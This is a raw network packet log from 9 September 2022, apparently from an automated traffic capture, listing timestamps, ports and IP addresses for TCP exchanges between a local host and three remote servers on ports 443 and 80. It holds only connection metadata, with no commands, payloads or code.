Sep 9, 2022 18:00:31.817024946 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.817045927 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.819123983 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.819401979 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.819475889 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.819488049 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.819526911 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.819582939 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.819590092 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.819633007 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.820920944 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.821008921 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.821014881 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.821048021 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.821278095 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.824457884 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.824596882 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.835839033 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.835968018 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.836767912 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.836832047 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.836896896 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.836930990 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.837033987 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.840059996 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.840128899 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.840173960 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.840184927 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.840234041 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.840590000 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.840657949 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.840676069 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.840687990 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.840751886 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.842346907 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.842416048 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.843455076 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.843542099 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.843561888 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.843611956 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.844521046 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.844566107 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.844615936 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.844628096 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.844845057 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.845504045 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.845550060 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.845575094 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.845582008 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.845830917 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.847032070 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.847109079 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.847990990 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.848071098 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.848097086 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.848105907 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.848381042 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.856869936 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857053041 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857069016 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.857096910 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857117891 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857172966 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857212067 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.857249022 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857268095 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.857274055 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857388973 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857414007 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.857438087 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.857737064 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.859559059 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.859667063 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.859713078 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.859714031 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.859734058 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.859776020 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.859791040 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.859846115 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.859863997 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.860573053 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.860663891 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.860682964 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.861480951 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.861546040 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.861587048 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.861608028 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.861885071 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.862788916 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.862869024 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.862874031 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.862904072 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.862953901 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.863004923 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.863075972 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.863075972 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.863087893 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.863173008 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.864006996 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.864058018 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.864092112 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.864109039 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.864847898 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.864944935 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.864959955 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.864980936 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.865029097 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.865036964 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.865207911 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.865502119 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.865585089 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.865607977 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.865636110 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.865709066 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.866094112 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.866188049 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.866202116 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.866235971 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.866317987 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.866986036 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867038012 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867074013 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.867091894 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867372036 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867448092 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867471933 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.867486000 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867496967 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.867500067 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.867561102 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.867569923 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.868235111 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.868307114 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.868309021 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.868330956 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.868920088 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.876293898 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876344919 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876378059 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876398087 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.876422882 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876444101 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876491070 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.876506090 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876523018 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.876529932 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876597881 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.876611948 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876646042 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876723051 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876785994 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.876801968 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.876864910 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.877155066 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.877226114 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.877243042 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.877259970 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.877296925 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.877358913 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.877372980 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.878101110 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.878155947 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.878182888 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.878191948 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.878202915 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.878238916 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.878252983 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.878278017 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.878288984 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879081011 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879179001 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.879183054 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879194021 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879256010 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879256964 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.879317045 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.879318953 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879332066 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879405975 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.879426003 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.879445076 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.880095959 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.880156040 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.880171061 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.880192995 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.880220890 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.880248070 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.880260944 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.880345106 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.880373955 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881050110 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881122112 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881128073 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.881144047 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881158113 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881164074 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.881201029 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881206036 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.881211996 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881236076 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881267071 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.881272078 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.881722927 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:31.882843018 CEST	443	49732	157.240.236.35	192.168.2.7
Sep 9, 2022 18:00:31.882909060 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:32.033265114 CEST	49732	443	192.168.2.7	157.240.236.35
Sep 9, 2022 18:00:37.985858917 CEST	49733	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:38.012994051 CEST	80	49733	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:38.013257980 CEST	49733	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:38.015584946 CEST	49733	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:38.041899920 CEST	80	49733	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:38.043159962 CEST	80	49733	103.136.42.153	192.168.2.7
Sep 9, 2022 18:00:38.155138969 CEST	49733	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:00:38.398514032 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:38.398606062 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:38.399449110 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:38.403395891 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:38.403436899 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:38.453008890 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:38.453107119 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.237375975 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.237580061 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.238903046 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.244019985 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.244574070 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.467660904 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.467782021 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.467858076 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.467935085 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.468003035 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.468076944 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.468118906 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.468144894 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.468365908 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.469742060 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.470103025 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.472193003 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.472285986 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.472419977 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.472443104 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.472918987 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.487024069 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.487133980 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.487144947 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.487173080 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.487235069 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.487962008 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.488049030 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.488099098 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.488831043 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.489950895 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.491189957 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.491393089 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.491545916 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.492685080 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.492760897 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.492763042 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.492773056 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.492780924 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.493774891 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.493818998 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.493912935 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.493978024 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.493999004 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.494157076 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.494863033 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.494955063 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.494970083 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.495934010 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.495995045 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.496011972 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.497673035 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.497725964 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.497780085 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.497797966 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.497920036 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.497996092 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.498064995 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.498075962 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.498089075 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.498198032 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.506340027 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.506529093 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.506608009 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.506685019 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.506730080 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.506747961 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.506979942 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.507787943 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.507872105 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.507977962 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.507996082 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.508054972 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.508476019 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.508549929 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.508558035 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.508575916 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.508620977 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.509371996 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.509448051 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.509485960 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.509500980 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.510030031 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.510090113 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.510585070 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.510832071 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.510900974 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.510946989 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.510963917 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.511400938 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.511609077 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.511683941 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.511713028 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.511727095 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.512047052 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.512311935 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.512383938 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.512408018 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.512423992 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.512572050 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.513017893 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.513089895 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.513689041 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.513767958 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.513808966 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.513837099 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.513921022 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.513967991 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.513986111 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.514087915 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.514569998 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.514642954 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.514683008 CEST	49734	443	192.168.2.7	31.13.92.36
